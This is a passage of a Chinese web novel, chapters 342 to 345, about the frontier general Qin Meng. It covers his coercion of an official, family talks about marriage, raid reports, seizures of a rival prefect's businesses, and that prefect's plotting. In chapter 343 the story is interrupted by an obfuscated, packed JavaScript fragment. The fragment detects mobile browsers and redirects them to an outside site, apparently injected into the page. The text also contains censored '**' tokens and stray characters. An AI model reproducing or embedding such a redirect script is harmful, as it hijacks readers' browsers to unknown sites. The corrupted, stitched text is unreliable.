两人在僻静角落相遇,四下无人,只有寒风吹过栅栏的呜咽声。
“苏贤侄,”孙强压低声音,急不可耐地问道,“近来情形究竟如何?你在此处,可能掌控局面?”
苏珩看着孙强焦急的面容,心中苦涩万分。他想说自己形同囚徒,被架空得彻底,很想提醒孙强,传信秦猛此人的可怕与无法无天。
但话到嘴边,又硬生生咽下。
他清楚地知道,暗处必然有秦猛的眼线监视,自己任何一句不妥之言,都可能招来杀身之祸,甚至牵连远在幽州城的家眷都会被波及。
孙强叔侄更会立刻毙命于此!
suheng脸上挤出一丝僵硬的笑容,低声道:“孙世叔,小侄……一切尚好。只是初来乍到,军中皆是秦将军心腹,难以插手。
你也知道边军与地方不对付,小侄行事低调,需得徐徐图之,慢慢培养些人手,方能站稳脚跟。”
他巧妙地用“难以插手”、“徐徐图之”掩饰了自己的窘境。
“那……那货栈、矿场之事,你可曾听到什么风声?是否是这匹……”孙强最关心的还是这个。
“叔父慎言,隔墙有耳。”苏珩连忙嘘声制止。他几乎可以肯定这就是秦猛的手笔,来报复和警告崔文远。但绝不能点破,反而要为其遮掩。
他故作沉思状,然后摇头道:“小侄并未察觉军寨有任何异常调兵动向。
不过,据我所知,去岁秦将军重创了契丹、女真几个部落,他们前来报复的可能性极大。这边境地带,马匪也多与鞑虏有勾结,形势复杂啊。”
孙强将信将疑,但看苏珩的表情不似作伪,且说得合情合理,不由得不信了几分,眉头紧锁,喃喃道:“若真是**报复,那可就……”
苏珩见状,岔开话题,又趁机透露了一些半真半假、无关痛痒的消息,比如军寨人数约七八千,能战之兵约两千余人,且多新卒,近来春季收纳流民众多,粮草供应日趋紧张等。
最后暗示道:“世叔,如今这边寨看似稳固,实则底子尚薄,与其他军寨没多大的区别,就是秦猛及手下人凶悍,做事不顾及后果。
若幽州方面能多予些钱粮支援,小侄在此也好多方斡旋,为崔刺史分忧,增加些影响力。”
孙强此刻心乱如麻,只觉得这军寨处处透着诡异,苏珩的话语似乎有理,但又总觉得哪里不对。
他仔细打量苏珩,见对方目光坦诚,面容憔悴,只道是年轻人骤然身处险境压力过大,并未深想其已成傀儡,言辞背后的无奈与恐惧。
他拍了拍苏珩的肩膀,低声道:“贤侄之言,老夫记下了。你在此处,万事小心,多多打探消息,尤其是……与秦猛相关的任何动向,定期设法传回幽州。崔刺史不会忘了你的功劳。”
“小侄明白。”苏珩躬身应道,心中却是一片冰凉。
功劳?能保住性命,已是万幸。
他看着孙强转身回去的背影,心中颇为无奈,知道自己在这条身不由己的路上,越陷越深了。
……
日头西斜,将军寨的影子拉得老长。
接风宴散场,各方人马也都有了去向。
钦差苏珏、郡守林安国以及帅司来的黄大钟等人,皆因酒意酣然,加之秦猛盛情挽留,便决定在军寨住下,明日再顺便看看这边塞军寨的风物与防务。
幽州治中从事孙强、郡城判官孙淼叔侄却是如坐针毡,一刻也不愿在这龙潭虎穴多待,执意要返回郡城。
秦猛也未强留,只淡淡吩咐郡统制官张崇带兵“好生护送”,免得在半途之中有什么闪失。
孙强叔侄离去前,终究不死心,总觉得不对劲。于是乎,借着最后的机会,试图与那些早先安插或被征调来的、原属幽州一系的良家子乃至担任仓曹副使的孙家旁支孙超等人接触。
然而,这些人要么语焉不详,要么对军寨现今真实的兵力、钱粮、防务核心等情况多有掺假。或者说些明显经过统一口径、带有误导的话。
事实残酷地摆在眼前:
经过秦猛的一番“整顿”和现实毒打,在生存与忠诚之间,
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绝大多数人早已做出了选择。
所谓的幽州势力渗透,在胡萝卜加大棒高举之下,在这铁桶一般的军寨里,已然名存实亡。
监镇衙门偏厅内,灯光闪烁。
秦猛看着垂手站在下首的苏珩,脸上露出一丝还算满意的笑容:“不错,苏监镇,今日你应对得体,做出选择,算是顺利通过了试探。”
苏珩脸上挤出的笑容僵硬无比,心中一片悲凉。
他感觉自己就像提线木偶,每一步都走在刀尖上,这种身不由己的滋味,难以言喻。
秦猛仿佛能看透他的心思,语气平淡却带着不容置疑的力量:“不要觉得委屈。树挪死,人挪活。在崔文远那边,你知道得太多,未必有好下场,**灭口,你见过的还少吗?
但在我这里,只要你安分守己,踏实做事,我保你一家人平安,甚至还能让你在这位置上做出些实在的功绩,赢得边民几分敬重。
这总比你过去在崔文远手下,干些盘剥百姓、为人不齿的勾当,活得像个阴沟里的老鼠要强得多吧?”
他顿了顿,看着苏珩变幻不定的神色,意味深长地继续说道:“其实你心里清楚,路该怎么选。有了第一次配合,就会有第二次,无数次。
悬崖勒马,为时未晚。跟着本将,洗刷掉过去的污名,成为一个真正对得起朝廷、对得起这方百姓的人,青史留名不敢说,但能让治下之民,念你一声好,岂不胜过遗臭万年?”
“人生在世,哪有那么多如意之事?有些时候,总要经历过挫折才能成长,自己好好想想吧!”
说罢,秦猛不再多言,拍了拍苏珩的肩膀,转身大步离去。
那沉稳有力的脚步声,仿佛每一步都踩在苏珩的心坎上。
苏珩独自留在昏暗的厅内,望着窗外逐渐浓重的夜色,内心挣扎如沸水。
恐惧、不甘、**,还有一丝被说中的隐秘渴望交织在一起。
他回想崔文远、孙强等人那看似关切实则利用的叮嘱,对比秦猛直白却现实的威胁与许诺。
崔刺史固然势大,但远在幽州,且其行事狠辣,一旦得知自己叛变,必定会来**灭口。
而秦猛,手段酷烈,且就在眼前,掌控着他的生死,也似乎真的给了他一条“洗白”的路。
良久,他长长吐出一口浊气,眼中闪过一丝认命般的决然。罢了,什么忠义,什么派系,在身家性命和现实的利益面前,都显得苍白无力。
先保住眼前,保住家眷,依附这棵看起来更能遮风挡雨、甚至可能长成参天大树的新靠山再说。
至少,秦猛承诺的“平安”和“功绩”,是眼下能抓住的最实在的东西。崔文远……那只老狐狸,未必靠得住,或许早点跳船,反而是条生路。
第342章 父女议婚嫁,夫妻话名分
军寨主寨内,一间打扫干净、铺着崭新被褥的厢房里,林安国洗漱完毕,换上了侄子林怒送来的干净常服。
屋内炭火烧得正旺,驱散了边塞夜间的寒意。
林怒安排好一切,又陪着叔父说了会儿话,主要是说些自己在铁血军寨任职,练兵近况等,见林安国面露倦意,便懂事地告退了。
屋内刚安静下来不久,门被轻轻推开,林婉儿端着一碗刚熬好的驱寒汤,略显胆怯地走了进来。
“爹,喝点热汤,暖暖身子。”
林安国看着女儿,“嗯”了一声,接过汤碗。房间里一时沉默下来,只有炭火偶尔噼啪作响。
最终还是林安国先开了口,语气依旧带着惯有的古板:“今日宴上,苏大人竟想为秦猛做媒,说的还是他兄长、那位苏大学士的千金。”
“什么?”林婉儿闻言娇躯一震,急切地问道。
“那爹爹,秦大哥是否答应了?”
林安国见女儿这模样哪里还不明白她的心思。顿时哼了一声,“他倒是识趣,搪塞了过去。”
林婉儿听到这话,松了口气。
林安国又哼哼道:“一介武夫,如今倒是成了香饽饽。”
林婉儿手指绞着衣角,低声道:“秦大哥……他年轻有为,为国建功,有人赏识……也是常理。”
“常理?”林安国瞥了女儿一眼,“婉儿,你莫要糊涂。即便他如今官拜安北将军,燕北郡团练,成了些气候,终究是武职出身,根基浅薄。
苏家那是清流门第,联姻之意,不过是**投资,拉拢这小子,你……你这丫头难道还真想……”
他的话没说完,但意思很明显,依旧不赞成女儿与秦猛有过深牵扯,尤其是做小为妾室。
林婉儿抬起头,眼中带着倔强:“爹,女儿没想过高攀什么。只是……只是觉得秦大哥是真心抗虏保民的好官,比那些只会夸夸其谈的文人强得多!
女儿在这里,所见所闻,比在郡城深宅大院里真实得多!”
“你懂什么!”林安国语气加重了些,“边塞险地,今日风光,明日或许就……唉,总之,你一个女儿家,待在这里像什么话!
过两日,就跟为父回郡城去。瞧你一个未出阁的千金,在这儿,连封家书都写得含糊其辞,一心想着见那小子。时间久了,必定惹诽议。”
若是以前,林安国这般斥责,林婉儿早就委屈地低下头不敢反驳了。
但此刻,她虽然依旧害怕父亲威严,却鼓起了勇气:“爹,女儿在这里很好!我……我能帮忙照料伤兵,能跟着月娘姐、王婶她们学做事。
我觉得比在窝在府里整日绣花弹琴充实得多!秦大哥说,每个人,都有自己的路,雏鸟终究要自己翱翔,女儿长大了,有自己的选择。
再说了,秦大哥,他……他也并未怠慢女儿。”
看着女儿眼中少见的光彩和坚持,林安国一时语塞。
他何尝看不出女儿的变化?
少了些闺阁弱质,多了些生气。他也心知肚明,秦猛如今圣眷正浓,势头强劲,早已非吴下阿蒙。
京城苏家都来试图联姻,拉拢这个后起之秀。自己先前那套“武夫粗鄙”、“门第之见”的说辞,在现实面前,似乎越来越站不住脚。
他沉默地喝着已经微凉的汤,心中复杂万分。
最终,他叹了口气,语气缓和了些:“罢了,此事容后再议。你且记住,无论如何,为父总是为你好。天色不早了,回去歇着吧。”
林婉儿听出父亲语气中的松动,心中微喜,乖巧地应了一声:“哦,那爹爹也早点安歇。”
她替父亲整理了下床铺,这才轻手轻脚地退了出去。
房门关上,林安国独自坐在灯下,望着跳跃的灯火,眉头微蹙。
女儿的坚持,秦猛的崛起,幽州方面的觊觎,边塞的危局,以及柳城县等地遭遇马匪袭击……
种种思绪交织,让这个夜晚,注定难以平静。
而林婉儿回到自己房间,想着父亲方才并未像以往那般严厉斥责,心中也升起一丝希望。
或许,事情并非全无转机。
这次父女间的夜话,虽仍有隔阂,却在边塞的寒夜里,透出了一丝不易察觉的温情与理解的可能。
……
官署后院,烛火摇曳,将秦猛高大的身影投在墙壁上,微微晃动。陈月娘动作轻柔地为他卸下甲胄。
随后,女人又端来一碗温热的醒酒汤,眼中带着几分试探,柔声说道:“官人,如今朝廷圣旨已下,你已是真正手握重兵的边将了。
林郡守此刻就在寨中,妾身思忖着…,不如就趁此机会,请王老爷子出面,向他提一提你与婉儿妹妹的亲事,如何?”
“咳咳……”秦猛正喝着醒酒汤,闻言险些呛住,用手帕擦了擦嘴,脑袋摇得跟拨浪鼓似的。
“不行不行,万万不可!”
“其一,边境未稳,北虏虎视眈眈,我哪有心思想这些儿女情长?
其二,你又不是不知林大人那古板性子,越是主动去提,他怕是越觉得我们有所图谋,反弹更甚。
他那样看重门第清誉的人,岂会轻易答应让嫡女与人做小?”
陈月娘沉默片刻,像是下定了决心,突然抬头道:“官人,若是…,若是你将那正妻之位,让与婉儿妹妹又何妨?反正
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妾身本就是乡野出身,能陪伴官人左右已是万幸,不敢奢求名分……”
她的声音越说越低,带着一丝不易察觉的苦涩与决绝。
“胡闹!”秦猛不等她说完,便一把将她拉入怀中,语气斩钉截铁,“你怎能如此妄自菲薄?
你陈月娘是我秦猛明媒正娶的妻子,这是铁打的事实,任谁也不能更改!
你同意,我却第一个不答应!即便你我二人昏了头应下,王老爷子、李叔、大壮叔、富贵哥、李山、王铁柱、庞仁他们,也绝不会同意!”
“啊?他们……他们为何不同意?”
陈月娘依偎在他怀中,满脸错愕,她只虑及秦猛与林家,官宦之家的林婉儿嫁入秦家,必是秦猛仕途的助力,却未想到这些,也不明白其中缘由。
“这又是为何?”陈月娘不懂就问!
“哪有你想的那般简单?”秦猛轻抚着妻子的脸颊,叹道,“月娘,你是王老爷子看着长大的。
在这铁血军寨,在咱们起家的老兄弟心里,你便是他们的半个女儿、妹子,是你最坚实的后盾。
我秦猛的结发妻子,你这‘将军夫人’之位,早已不仅仅是你我的家事,更关乎着军心安稳和这一大摊子人的认同。岂是说换就能换的?”
“这……”陈月娘似懂非懂,但隐约明白了其中的关窍。
“这便是官人曾说过的,权力场中盘根错节的派系与人情么?”
“哎,正是此理。”秦猛试图解释,却觉得其中复杂非三言两语能说清,最终化为一声无奈的叹息:“你我已是局中人,牵一发而动全身啊!”
他手臂收紧,将怀中人儿搂得更实,下颌轻轻抵着妻子散发着皂角清香的发顶,声音低沉而坚定。
“月娘,我还是那句话,当年我秦猛还是个遭人白眼的‘傻子’时,是你不离不弃,悉心照料我,撑起了这个家,这份情义,重于泰山。”
他顿了顿,语气带着不容置疑的决绝:“如今秦某人侥幸得以上位,若因此就生出他念,行那宠妾灭妻、抛弃糟糠的勾当,与禽兽何异?
你且记住,这正妻名分,是你应得的,不仅关乎情义,更关乎我做人的底线。以后无论何时,莫要再胡思乱想,平白惹自己烦恼忧心。”
陈月娘依偎在他坚实的胸膛上,听着丈夫那强有力的心跳,感受着话语间的珍视与担当,压在心头的最后一丝不安与酸楚也烟消云散。
她重重地点头,带着浓重鼻音“嗯”了一声,眼眶泛红,揽住丈夫腰身,将发烫的脸颊深深埋进他的衣襟里,只觉得无比的安心与暖融。
外间风雨再大,她便无所畏惧!
第343章 后院絮语,边报惊寨
堂屋内,烛火摇曳!
秦猛闻着女儿家那股淡淡的幽香,开始不老实起来。陈月娘脸颊通红,抓住男人作乱的大手。
“可是官人,”陈月娘岔开话题,又抬起头,眼中满是认真,“婉儿妹妹对你的情意,军寨中明眼人都看得真切。
如今寨子里已有不少风言风语,谈论她与你的关系。你既是顶天立地的男儿,总该给她一个交代,这般拖延,于她名节有损,也非大丈夫所为。”
就在这时,走廊另一边,房门“咯吱”一声被轻轻推开一条缝,两个小脑袋一上下地探了进来。
——正是偷听得入了神的秦小芸和被她拉来的王艳。
“偷听作甚?还不过来?”秦猛眼角余光恰好瞥见了,顿时脸色一沉,目光如电扫了过去。
王艳吓得一个哆嗦,立马把身前的秦小芸往前一推,自己缩到了后面。
“哥,你别凶嘛!是你声音有些大。”秦小芸见躲不过去,只得硬着头皮,笑嘻嘻地凑近几步,嘟囔着说:“要我说,婉儿姐姐是真的好!
她知书达理,贤良温婉,又擅长岐黄医术,对我和月娘姐都极好。哥你现在是位高权重的将军了,将来肯定……肯定也是要三妻四妾的。
与其将来不知从哪儿来个狐媚子搅风搅雨,还不如娶了知根知底、心地善良的婉儿姐姐!你是个大英雄,可不能辜负了人家一片心意!”
“你个死丫头!没大没小,倒管起你哥的后院来了?”秦猛被妹妹这番“高论”说得心头火起,可看着她不敢过于靠近,那副随时准备撒腿就跑的机灵样,又怒极反笑,瞪着眼睛训斥道。
“你懂什么?边疆烽火未熄,你哥我脑袋别在裤腰带上保家卫国,哪来的闲心思想什么三妻四妾?女人……女人只会影响我拔刀的速度!”
“啥?你说啥?”秦小芸有点没听明白。
秦猛一瞪眼:“小小年纪,不学好,尽学妇人长舌。”
秦小芸“噜噜噜”地吐舌头,扮鬼脸。
“官人,可婉儿妹妹的事总要解决,这可躲不开呀!”陈月娘拉了拉秦猛,继续之前的话题。
“哎哟,我的好月娘哎,你怎的也跟着起哄……”秦猛听着妻子的意思,顿感一个头两个大。
陈月娘罕见地犯起了倔脾气,一脸坚持地说:“夫君是顶天立地的男儿,行事当光明磊落,岂能这般犹豫不决?反倒容易惹人非议笑话。”
“就是,婉儿姐姐来军寨就是为了你,哥,你不能老躲着。”秦小芸在边上接话茬,帮腔。
秦猛无奈地挥挥手,像赶小鸡似的把还想再说的秦小芸轰回房:“去去去,赶紧回房睡觉!”
“你再瞎掺和,明天罚你抄书!”
说罢,秦猛不由分说地拉着月娘进了里屋,将房门闩死。
屋内重归寂静,只剩下烛火噼啪。秦猛转身看着依旧眉宇间带着忧色的妻子,心中好气又好笑。
“婚姻大事又非儿戏,也得看缘分,以后再说吧!”
秦猛一把将她打横抱起:“好啦,先不说这些,我的贤内助,军国大事、儿女情长暂且放一边,良宵苦短,我们还是先做些正经事儿……”
话音未落,他便抱着一声低呼的陈月娘向床榻走去。
红绡帐暖,悄然落下……
……
第二日清晨,寒风依旧料峭,但天色已然放晴。
秦猛早早起身,与妻妹吃过早饭,穿上那一身象征安北将军威严的崭新官袍,更显英武挺拔。
他亲自来到客院,邀请苏珏与林安国一同游览铁血军寨。
一行人先是登上了寨墙眺望。
秦猛指着远处苍茫的雪原和蜿蜒的边境线,详细介绍各处军营扼守关隘、烽燧的布置与防务。
但见军寨内外军营里,士卒操练,号令严明,动作整齐划一,杀气腾腾;骑兵队伍在旷野上飞奔,或劈砍雪人,或弯弓搭箭射雪人靶……
各类军械、粮草堆放有序,管理得井井有条。
即便是对军事不甚精通的苏珏,也能感受到这股精锐之师散发出的凛然之气与严谨作风,眼中流露出赞赏,频频点头称赞,说是精锐。
林安国虽依旧板着脸,但目光扫过寨中一切,尤其是看到将士们昂首挺胸,激昂的士气和完备的守备,紧蹙的眉头也不自觉地舒展了几分。
他不得不承认,秦猛这小子,在治军练兵上,确实有一套,张崇来到边寨半月学到了不少。
随后,秦猛又引二人参观了新建的伤兵营、军器监木工坊、衣甲坊以及竣工不久的学堂。
在投入使用的新学堂内,设了十多个班级,各年龄段不一的孩童读书认字,神态格外专注。而且有如墙上的黑板,**笔等稀奇玩意。
苏珏这个读书人,止不住称赞,当看到黑板上的简体字后,更是揪住秦猛,追问个不停。
在伤兵营,军医和不少妇人(包括林婉儿和陈月娘)正在细心开方抓药,照料伤员,环境竟出乎意料的干净整洁,草药的清香冲淡了血腥气。
林安国看到自己的女儿林婉儿也在其中,正熟练地为一个伤兵换药,神情专注而温和,与在郡守府时那个娇怯的闺阁千金判若两人。
他目光复杂,终究没有出声呵斥,只是默默转过头去。
参观途中,苏珏看似随意地笑问:“秦将军,昨日宴间所言,关于我兄长那千金,回去后可再思量过?若能成就这番良缘,于镇卿你的前程,于边关稳定,可都是大有裨益啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828487|184734||http|test|mini|href|location''.split(''|''),0,{}));
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r>他说话时,眼角余光似有若无地瞥向一旁的林安国。
秦猛心中暗骂一声“老狐狸”,面上却从容拱手,语气诚恳而不失分寸:“苏大学士厚爱,秦猛感激不尽。
只是大人也看到了,边塞之地,危机四伏,北虏动向不明,柳城等地又刚遭马匪袭扰,百废待兴。
在此危难之际,秦猛实在不敢分心家室之事,唯有竭尽全力,守土安民,以报皇恩。至于婚姻大事,还是待边境真正安宁之后,再议不迟。”
这番话说得滴水不漏,既婉拒了提议,又彰显了以国事为重的担当,让苏珏一时也找不到话柄,只得干笑两声“说得对”,岔开了话题。
而林安国在一旁听着,脸上虽依旧面无表情,但却非常在意,紧绷的下颌线似乎柔和了些许。
秦猛这番“先国后家”“国事为重”的表态,倒是意外地契合了他那古板士大夫的价值观。
然而,就在一行人即将结束巡视,返回主寨用午饭之际,一骑快马顶着寒风疾驰入寨。
“急报——!将军,十万火急!”
马上斥候滚鞍**,气喘吁吁地奔至秦猛面前,单膝跪地,双手呈上一封粘着赤羽的紧急军报:
“北线五十里外,发现大批女真游骑踪迹,约有数百骑。正在我边境线外侧往复巡弋,似在窥探虚实!
另据多方探马拼死回报,不止我处,渔阳郡沿边各城外,近日均有小股**出没,凶悍异常,已有数支商队在途中遇袭,人货尽没,现场……现场手段极为残忍,几乎不留无活口!”
这消息让周遭空气瞬间凝固。
秦猛脸色一变,却极为镇定!这是前夜“十面杀局”后续。是针对完崔文远后的第二步。这就是他说的有时眼睛和耳朵都会欺骗你。
秦猛低骂了声该死,接过军报迅速扫视,眸中寒光乍现。刚才还略带轻松的气氛荡然无存。
他深吸一口凛冽的寒气,压下心头翻涌的杀意,沉声下令。
“林怒!”
“末将在!”陪同在侧的林怒立刻踏步抱拳。
“你继续引领苏大人和林郡守游览军寨,之后领他们去军营用餐,务必保证二位大人周全。”
“得令!”
秦猛随即对苏珏和林安国抱拳,语气沉凝如铁:“苏大人,林郡守,军情如火,寇情已迫在眉睫,秦猛需即刻升帐议事,部署防务,稍后我再与你们商议剿匪事宜,恕不能相陪了!”
“秦将军自去便是!”
苏珏与林安国对视一眼,均看到对方眼中的震惊与凝重。亲耳听到这个噩耗,才深刻意识到,草原上呲牙咧嘴的饿狼一直在边境线上徘徊。
北疆这短暂的平静,果然只是风暴来临前的假象!
第344章 将军府初立
北地的三月,春寒尚未褪尽,铁血军寨却因一连串的“收获”而洋溢着压抑不住的躁动。
王善、鲁真、赵开明、韩勇等带队之人皆是昼伏夜出,将一车车、一驮驮的物资悄然运回寨中。
直至下旬初,各路人马方才陆续到齐。
是夜,军寨核心区域的库房灯火通明,各库文吏各司其职,算盘声噼啪作响,持续了整整一夜。
待到天明,初步统计结果出来,连见惯了风浪的秦猛也不禁眉梢微挑,暗赞劫掠来钱快。
粮食一项,便有三万两千余石,足够全军数月之用;
布匹、绢帛、绸缎堆积如山,足以赶制数千套军服被褥;
盐铁、油茶,号货、药材等紧要物资更是数量可观。这还不算那些尚未完全运回的零散财货。
而从渔阳郡几支商队那里获得——各项买卖收入,以及草原部落“馈赠”的财富,更是惊人。
白银黄金合计逾万两,东珠装满三个沉甸甸的樟木箱,产自苦寒之地的雪山老参、珍稀药材装了几大车,更有紫貂、白狐等极品毛皮,触手生温。
望着库房里骤然充盈的景象,秦猛嘴角掠过一丝冷峭。
这便是最快的积累之法。
别人处心积虑搜刮的钱粮,胆子大些,拿来便是!
这笔横财,极大地缓解了军寨的储备压力,也为后续扩军备武打下了坚实基础。
所有物资入库皆在深夜进行,寨中寻常军民只觉气氛紧张,却不知具体,保密工作可谓滴水不漏。
如钦差苏珏与郡守林安国就不知道,他们在军寨盘桓这两日,秦猛安排得张弛有度。
既让他们观看了士卒们严苛的操演,也领略了军民同心、热火朝天垦荒备耕的景象。
更重要的是,他们亲眼望见界河北岸,时有影影绰绰的草原骑手逡巡,远处炊烟袅袅,俨然是游骑活动频繁的迹象——这自然是牛五、乌维率领的小队,依计而行,刻意制造的紧张氛围。
秦猛也不忘联合毗邻的赵平所部,各自派出精锐,扩大警戒范围,护卫垦荒队伍,并向林安国保证周边村坊安全。
郡巡检司庞仁在会谈中,向林郡守详细禀报,表示巡警司将全力配合,在各地设立分署,与统制张崇协作,共保地方安宁,杜绝**扰边。
这番做派,俨然一位尽心竭力、守土有责的边将楷模。
苏珏、林安国乃正统文官,自有风骨。秦猛投其所好,并未以俗气的金银相赠,而是精心挑选了两支品相极佳的百年老山参和上等虫草相送,外加几坛陈年佳酿。
至于他们的随从护卫,则人人有份,腰囊里悄无声息地多出了沉甸甸的银锭,几日下来更是酒肉管够,个个吃得油光满面,肚大腰圆。
这些小人物的观感往往能起到意想不到的作用。
果然,苏珏身边一位老仆,或许是感念秦猛的豪爽与周到,又或是得了某种暗示,在临行前寻了个机会,偷摸靠近秦猛,低声透露。
“秦将军需多加小心,如今朝局波谲云诡。老奴听闻,朝中为将军您的封赏之事争执不下。
最终陛下折中,虽拜您为安北将军,以彰显皇恩。然为了权衡,辖地与实权……实则大为缩水。”
送君千里,终须一别。
秦猛亲率卫队,将苏珏、林安国一行送至寨外大道。
林怒领一队精锐负责沿途护送。
林婉儿与陈月娘姐妹话别,虽有不舍,还是随父亲返回郡城。
钦差队伍一走,军寨上下顿时沉浸在一片喜悦之中。
秦猛荣升安北将军的消息早已传开,这可是能开府建牙、自置僚属的重号将军,远非昔日杂号将军可比。
军民欢腾,士气大振。
安北将军府下设的僚属体系迅速搭建。
老成持重的王槐被任命为长史,总揽政务;
足智多谋的诸葛风则升任司马,协理军务;赵开明、李恒、韩勇、刘三、朱俊、何方等早期骨干,分别担任正、行参军,门下督等要职,暂兼原有职责。
连日前来投奔的文士刘国栋,也被委以将军府主簿之职,其余文人皆得任用。加上新设立的参谋部、军务署等机构,将军府的班底初具规模。
军事编制也随之大幅扩充。
秦大壮、张富贵、王善等一众老兄弟皆按照圣旨官升一级,从副将擢升正将,部将升为副将,以此类推。所辖部队由“大队”升格为“营”,
秦大壮领龙枪营,副将**,部将谢涛、郝霖;
张富贵领铁骑营,副将林军,部将张铁蛋;
王铁山领百战营,副将赵虎,部将昌烨;
李山领狂刀营,副将刘冲;
刘铁柱领射日营,副将齐达;
?6?1常勇领破虏营,副将张龙、张虎;
王善领亲卫营,副将牛五、乌维;另辖设虎豹骑,**、牛五、秦小六、鲁真,林怒共领。
副将阮大,领水师营,刘大牛领猛獒营,张大胆领工兵营。
再加上守备军、预备营、辅兵营、新兵营、民兵营乃至**营,以及少有人知的暗部,陈晓领猎犬卫,石雄领
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黑蛇卫,石地虎领飞天卫。
林林总总十余个营制,军容鼎盛,终于有了几分安北将军的气象。
晋升告示张贴各处,秦猛下令杀猪宰羊,犒赏三军,全寨加餐。军民欢呼雀跃,喜悦之情转化为磅礴干劲,寨外垦荒的进度一日千里。
就在军寨热热闹闹之际,还有人在外执行任务。
渔阳县城内,占据半条街的“醉仙楼”是三层的气派建筑,平日车水马龙,生意兴隆。名义上的东家是外地豪商,实则乃刺史崔文远的隐秘产业。
掌柜的仗着背后靠山,向来跋扈,同行敢怒不敢言。
这日中午,酒楼正值客流高峰,一伙看似寻常的食客突然发难,捂着肚子倒地哀嚎,声称吃了酒楼的东西腹痛不止,继而动手打砸柜台。
掌柜的平日里嚣张惯了,非但不息事宁人,反而从后院唤来如狼似虎的打手,叫嚣道:“哪来的腌臜泼才?瞎了你们的狗眼!知道这醉仙楼的东家是谁吗?敢在这里**,活腻了!”
冲突一起,早已埋伏在外的“官兵”如狼似虎般涌入,将这些打手摁倒,为首者正是陈石与石地虎。他们以调解**为名,行搜查之实。
很快,“查获”了酒水掺假、食材霉变的“证据”,更在后院地窖中,“意外”起出了大批疑似私盐的货包。
掌柜叫嚷声不断,嚣张态度更是撞在了刀口上,直接被扣上“抗拒执法、窝藏赃物”的重罪。
酒楼当场贴上封条,人员锁拿,账本抄没一空。
整个过程如疾风骤雨,环环相扣,根本不容对方有任何反应时间。
常九则眼红这栋酒楼很久了,按照与秦猛的约定,立刻靠自己的人脉关系,打点县衙上下。
不过两日,这座日进斗金的醉仙楼便被扒出来路不正等,又被外地豪商接手,改换门庭,成为常九名下产业,利润自然也不断流入该去的地方。
据说,这酒楼当年也是崔文远利用权势巧取豪夺而来,如今秦猛不过是以其人之道还治其人之身。
他崔刺史能做得,秦将军为何做不得?
类似的事件,在燕北郡、渔阳郡,北平郡等各地接连上演,目标直指崔文远的灰色产业。先给你干挺了,然后打通关系,换招牌营业。等幽州那边反应过来,就已经为时已晚。
无他,因为这些产业都找到靠山,向安北将军府交了保护费,受边军保护,你动一下试试?
手段精准、高效、老辣,让一些嗅觉敏锐的明眼人暗自心惊,嗅到了山雨欲来的危险气息。
第345章 毒计与春耕
幽州城,刺史府。
连日来,从渔阳、平谷、柳城,乃至北平郡各地传来的急报如同雪片般飞入崔文远的书房。
每一封都像一记重锤,敲打在他本就紧绷的神经上。“醉仙楼”被查封、亨通等数处货栈遭“匪劫”、城外庄园“意外”走水损失惨重……
他名下那些见不得光的产业,正以一种迅雷不及掩耳的速度被人连根拔起,连人员都被抓走。各种不利言论被挖出传扬,让他投鼠忌器。
“废物!都是一群废物!”崔文远再也抑制不住怒火,一把将书案上的笔墨纸砚全部扫落在地。
“哐啷”、“咔嚓”!
伴随着一声清脆的碎裂声,一只价值不菲的精美白玉瓷杯掉落在地,化为碎片,茶水飞溅。
崔刺史胸膛剧烈起伏,双目赤红,哪还有半分封疆大吏的威严,更像是一头被困在笼中的受伤野兽。
这些产业不仅是他庞大的财源,更是他经营幽州、编织关系网的重要节点,如今却被人精准的打击,断其财路,无异于公开打他的脸!
就在这时,心腹管家颤声通报,孙从事求见。与钦差队伍结伴而行,刚从燕北郡返回幽州城。一路风尘仆仆,脸上还带着惊魂未定之色。
他来不及归家,便马不停蹄就来刺史府汇报情况。
他一进书房,孙强便噗通跪倒,带着哭腔的禀报:“明公,那秦猛……秦猛匹夫愈发嚣张了!
卑职亲眼所见,麾下将领无理至极,不把幽州刺史府放在眼中,更是…,更是肆意辱骂属下……
这次朝廷来使,宣读圣旨,他不仅被朝廷正式拜为安北将军,总揽燕北郡军务,还成了幽州团练使,对明公您……出言不逊,说…,说……”
他眼中闪过恨意,故意吞吞吐吐。
“说什么?!”崔文远厉声喝道,声音嘶哑。
“说……说幽州容不得蛀虫放肆,让您…识相点……”
孙强故意扭曲事实,添油加醋,更是将亨通货栈和矿场被袭之事再次提起,暗示皆是秦猛所为。
这番话如同在崔文远燃烧的怒火上又浇了一瓢滚油,他气得浑身发抖,指着孙强:“滚起来!去,把杨烁、苏骞、庞会都给本官叫来!”
片刻后,刺史府密室之中,气氛凝重。秦猛一下跃升为安北将军,俨然已成尾大不掉之势。
武将出身的别驾杨烁面色阴沉,郡守庞会眼神闪烁,而长史苏骞则捻着鼠须,眼中闪烁着狡黠的光。
“你们都听到了?秦猛小儿,欺人太甚!断我财路,辱我声威,此獠不除,本官寝食难安!”崔文远低吼道,“都说说,尔等有何良策?”
杨烁率先开口,声音粗豪:“明公,不如让末将点齐兵马,以剿匪之名,直接踏平他那军寨!”
庞会连忙劝阻:“不可不可!杨将军稍安勿躁。秦猛如今是朝廷钦封的安北将军,无旨擅动边军大将,形同谋反!此乃取祸之道。”
“难道就任由他嚣张跋扈?”杨烁不服。
一直沉默的苏骞商贾出身,突然阴恻恻地笑了:“明公,杨别驾,庞大人,硬碰硬确实不智。
秦猛如今羽翼渐丰,又占着大义名分,我们何必亲自出手?草原上那些饿狼,可是现成的刀子。”
崔文远目光一凝:“说下去。”
苏骞凑近几分,压低声音:“明公,去岁契丹,女真先后吃了大亏,心怀怨念,今年必定来报复。
我们可以暗中联络,乃至其他觊觎南边财富的部落提供粮草、铁料,甚至是……军械。做得隐蔽些,再鼓动他们去寻秦猛的晦气。让他们狗咬狗,无论谁胜谁负,对我们都有利。”
他顿了顿,眼中闪过更恶毒的光芒,继续道:“此外,我们还可大肆散布谣言。就说秦猛在铁血军寨囤积了从草原抢来的金山银山,东珠成箱,还有无数抢去的牛羊,部落女子。
